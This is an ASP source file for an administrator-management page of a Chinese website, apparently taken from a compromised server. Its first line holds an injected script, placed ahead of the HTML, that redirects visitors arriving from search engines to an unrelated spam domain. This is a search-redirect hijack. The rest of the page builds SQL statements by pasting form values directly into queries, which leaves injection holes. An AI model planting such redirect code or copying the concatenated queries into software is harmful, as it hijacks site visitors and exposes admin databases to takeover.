d:\wwwroot\wuchunhua\sendmail\mail

d:\wwwroot\wuchunhua\sendmail\mail_manager.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
002: 
003: <html>
004: <head>
005: <title>管理</title>
006: <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
007: <script language="javascript" src="inc/js.js"></script>
008: <link rel="stylesheet" href="inc/style.css">
009: </head>
010: <body>
011: <%
012: action=request.QueryString("action")
013: select case action
014:    case "edit" :CheckString("04"): call edit
015:    case "del" : call del
016:    case else
017:       call main
018: end select
019:
020: sub main
021: CheckString("02")
022: if GetForm("act")="addsave" Then
023:    CheckString("03")
024:    UserName=GetForm("UserName")
025:    PassWord=GetForm("PassWord")
026:    Truename=GetForm("Truename")
027:    Admin_State=GetForm("Admin_State")
028:
029:    if strLength(UserName)<4 then ErrMsg = ErrMsg & "● 为了账户安全登陆账户不得小于4个字符；\n"
030:    if strLength(PassWord)<4 then ErrMsg = ErrMsg & "● 为了账户安全登陆密码不得小于4个字符；\n"
031:    if ErrMsg="" then
032:       if not CheckName(UserName) then ErrMsg = ErrMsg & "● 登陆账户包含有非法字符；\n"
033:       if not CheckPassword(PassWord) then ErrMsg = ErrMsg & "● 登陆密码包含有非法字符；\n"
034:    end if
035:    if ErrMsg="" then
036:       if not conn.execute("select id from [vn_manager] where UserName='"& UserName &"'").eof then
037:          ErrMsg = ErrMsg & "此登陆账户已经被使用，请用其他用户名重试；"
038:          FoundErr=true
039:       end if
040:    end if
041:
042:    if ErrMsg="" then
043:       PassWord=md5(PassWord,32)
044:       conn.execute("insert into[vn_manager](UserName,[PassWord],LoginTimes,Truename,Joindate,Admin_State)values('"& UserName &"','"& PassWord &"',0,'"& Truename &"',"& SqlNowString &","& Admin_State &")")
045:       Netlog A_UserName,"添加新管理员"& UserName &""
046:       alert "管理员账户添加成功；","?"
047:    end if
048:    if ErrMsg<>"" then response.Write(SetErrMsg(ErrMsg))
049: end if
050: %>
051: <table width="99%" border="0" align="center" cellpadding="5" cellspacing="1" class="tablebk" style="border-collapse: collapse">
052: <form name="Form1" action="?" method="post">
053: <input name="act" value="addsave" type="hidden">
054:   <tr>
055:     <td colspan="2" class="table_titlebg">网站管理人员添加</td>
056:   </tr>
057:   <tr>
058:     <td width="41%" align="right" class="table_trbg02"><strong>登陆账户：</strong></td>
059:     <td width="59%" class="table_trbg02"><span class="table_trbg02">
060:       <input name="UserName" type="text" class="INPUT" id="UserName" size="30" value="<%=UserName%>">
061:     </span></td>
062:   </tr>
063:   <tr>
064:     <td align="right" class="table_trbg02"><strong>登陆密码：</strong></td>
065:     <td class="table_trbg02"><input name="PassWord" type="password" class="INPUT" id="PassWord" size="30"></td>
066:   </tr>
067:   <tr>
068:     <td align="right" class="table_trbg02"><strong>管理姓名：</strong></td>
069:     <td class="table_trbg02"><span class="table_trbg02">
070:       <input name="Truename" type="text" class="INPUT" id="Truename" size="30" value="<%=Truename%>">
071:     </span></td>
072:   </tr>
073:   <tr>
074:     <td align="right" class="table_trbg02"><strong>账户状态：</strong></td>
075:     <td class="table_trbg02"><input type="radio" name="Admin_State" value="0"<%if Admin_State="" then response.Write(" checked=""checked""") else response.Write(SetChecked(Admin_State,"0"))%>>正常  
076:       <input type="radio" name="Admin_State" value="1"<%=SetChecked(Admin_State,"1")%>>锁定</td>
077:   </tr>
078:   <tr>
079:     <td height="40" colspan="2" align="center" class="table_trbg02"><input type="submit" name="Submit" value="提交">
080:        
081:       <input type="reset" name="Submit" value="重置"></td>
082:   </tr>
083:   </form>
084: </table>
085:
086: <br class="table_br" />
087: <table width="99%" border="0" align="center" cellpadding="5" cellspacing="1" class="tablebk" style="border-collapse: collapse">
088:   <tr>
089:     <td colspan="7" class="table_titlebg">网站管理人员列表</td>
090:   </tr>
091:   <tr>
092:     <td width="8%" align="center" class="table_trbg01"><strong>ID</strong></td>
093:     <td width="18%" align="center" class="table_trbg01"><strong>登陆账户</strong></td>
094:     <td width="17%" align="center" class="table_trbg01"><strong>管理姓名</strong></td>
095:     <td width="12%" align="center" class="table_trbg01"><strong>登陆次数</strong></td>
096:     <td width="12%" align="center" class="table_trbg01"><strong>账户状态</strong></td>
097:     <td width="20%" align="center" class="table_trbg01"><strong>加入时间</strong></td>
098:     <td align="center" class="table_trbg01"><strong>操作</strong></td>
099:   </tr>
100: <%set rs=conn.execute("select * from [vn_manager] order by id desc")
101: i=0
102: dim classname
103: do while not rs.eof
104: if i mod 2 =0 then classname=" class=""table_trbg03""" else classname=" class=""table_trbg02"""
105: %>
106:   <tr>
107:     <td align="center" class="table_trbg02"<%=classname%>><%=rs("id")%></td>
108:     <td align="center" class="table_trbg02"<%=classname%>><%=rs("username")%></td>
109:     <td align="center" class="table_trbg02"<%=classname%>><%=rs("truename")%></td>
110:     <td align="center" class="table_trbg02"<%=classname%>><%=rs("LoginTimes")%></td>
111:     <td align="center" class="table_trbg02"<%=classname%>><%if rs("Admin_State")="0" then response.Write("正常") else response.Write("<span class=""red"">锁定</span>")%></td>
112:     <td align="center" class="table_trbg02"<%=classname%>><%=rs("joindate")%></td>
113:     <td align="center" class="table_trbg02"<%=classname%>><A href="?action=edit&id=<%=rs("id")%>">编辑</A> <A href="?action=del&id=<%=rs("id")%>">删除</A></td>
114:   </tr>
115: <%rs.movenext
116: loop
117: rs.close:set rs=nothing%>
118: </table>
119: <%end sub
120:
121: sub edit
122:    CheckString("04")
123: id=checkstr(request.QueryString("id"))
124: if not isInteger(id) then alert "参数传递出错，请重试；","back"
125: set rs=conn.execute("select * from [vn_manager] where id="& id &"")
126: if rs.eof then
127:    alert "没有找到此管理人员，请重试；","back"
128: else
129:    UserName=rs("UserName")
130:    Truename=rs("Truename")
131:    Admin_State=rs("Admin_State")
132: end if
133:    rs.close:set rs=nothing
134:
135:
136: if GetForm("act")="editsave" then
137:
138:    UserName=GetForm("UserName")
139:    PassWord=GetForm("PassWord")
140:    Truename=GetForm("Truename")
141:    Admin_State=GetForm("Admin_State")
142:
143:    if strLength(UserName)<4 then ErrMsg = ErrMsg & "● 为了账户安全登陆账户不得小于4个字符；\n"
144:    if strLength(PassWord)<4 and PassWord<>"" then ErrMsg = ErrMsg & "● 为了账户安全登陆密码不得小于4个字符；\n"
145:    if ErrMsg="" then
146:       if not CheckName(UserName) then ErrMsg = ErrMsg & "● 登陆账户包含有非法字符；\n"
147:       if (not CheckPassword(PassWord)) and PassWord<>"" then ErrMsg = ErrMsg & "● 登陆密码包含有非法字符；\n"
148:    end if
149:
150:    if not conn.execute("select id from [vn_manager] where UserName='"& UserName &"' and id<>"& id &"").eof then
151:       ErrMsg = ErrMsg & "● 此登陆账户已经被使用，请用其他用户名重试；\n"
152:       FoundErr=true
153:    end if
154:
155:
156:    if ErrMsg="" then
157:       if PassWord<>"" then
158:          PassWord=md5(PassWord,32)
159:          sql2=" ,[PassWord]='"& PassWord &"' "
160:       end if
161:       conn.execute("update [vn_manager] set UserName='"& UserName &"',Truename='"& Truename &"',Admin_State="& Admin_State &" "& sql2 &" where id="& id &"")
162:
163:       if cstr(A_UserID)=cstr(id) then
164:       SetCookies "Admin","AdminName",UserName '建立session cookies
165:          if PassWord<>"" then SetCookies "Admin","AdminPassword",PassWord
166:       end if
167:       Netlog A_UserName,"编辑保存管理员"& UserName &""
168:       alert "编辑保存成功；","?action=edit&id="& id &""
169:    end if
170:    if ErrMsg<>"" then response.Write(SetErrMsg(ErrMsg))
171: end if
172: %>
173: <table width="99%" border="0" align="center" cellpadding="5" cellspacing="1" class="tablebk" style="border-collapse: collapse">
174: <form name="Form1" action="?action=edit&id=<%=id%>" method="post">
175: <input name="act" value="editsave" type="hidden">
176:   <tr>
177:     <td colspan="2" class="table_titlebg">网站管理人员编辑</td>
178:   </tr>
179:   <tr>
180:     <td width="18%" align="right" class="table_trbg02"><strong>登陆账户：</strong></td>
181:     <td width="82%" class="table_trbg02"><span class="table_trbg02">
182:       <input name="UserName" type="text" class="INPUT" id="UserName" size="30" value="<%=UserName%>">
183:     </span></td>
184:   </tr>
185:   <tr>
186:     <td align="right" class="table_trbg02"><strong>登陆密码：</strong></td>
187:     <td class="table_trbg02"><input name="PassWord" type="password" class="INPUT" id="PassWord" size="30">
188:     不修改请留空</td>
189:   </tr>
190:   <tr>
191:     <td align="right" class="table_trbg02"><strong>管理姓名：</strong></td>
192:     <td class="table_trbg02"><span class="table_trbg02">
193:       <input name="Truename" type="text" class="INPUT" id="Truename" size="30" value="<%=Truename%>">
194:     </span></td>
195:   </tr>
196:   <tr>
197:     <td align="right" class="table_trbg02"><strong>账户状态：</strong></td>
198:     <td class="table_trbg02"><input type="radio" name="Admin_State" value="0"<%=SetChecked(Admin_State,"0")%>>正常  
199:       <input type="radio" name="Admin_State" value="1"<%=SetChecked(Admin_State,"1")%>>锁定</td>
200:   </tr>
201:   <tr>
202:     <td height="40" colspan="2" align="center" class="table_trbg02"><input type="submit" name="Submit" value="提交">
203:        
204:       <input type="button" name="Submit" value="返回" onClick="window.location='?';"></td>
205:   </tr>
206:   </form>
207: </table>
208: <%end sub
209:
210: sub del
211:    CheckString("05")
212: id=checkstr(request.QueryString("id"))
213: if not isInteger(id) then alert "参数传递出错，请重试；","back"
214: set rs=conn.execute("select * from [vn_manager] where id="& id &"")
215: if rs.eof then
216:    alert "没有找到此管理人员，请重试；","back"
217: end If
218:    UserName=rs("UserName")
219:    rs.close:set rs=nothing
220:    conn.execute("delete from [vn_manager] where id="& id &"")
221:    alert "管理人员 "& UserName &" 删除成功；","?"
222:
223: End sub
224: %>
225: </body>
226: </html>
227:
228: